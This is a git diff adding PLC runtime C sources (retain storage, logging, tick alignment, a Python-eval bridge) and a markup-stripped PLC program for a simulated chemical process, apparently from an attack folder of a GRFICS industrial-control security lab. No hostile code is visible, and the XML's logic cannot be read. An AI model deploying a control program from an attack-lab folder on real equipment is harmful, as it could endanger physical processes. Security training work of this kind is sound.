(CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 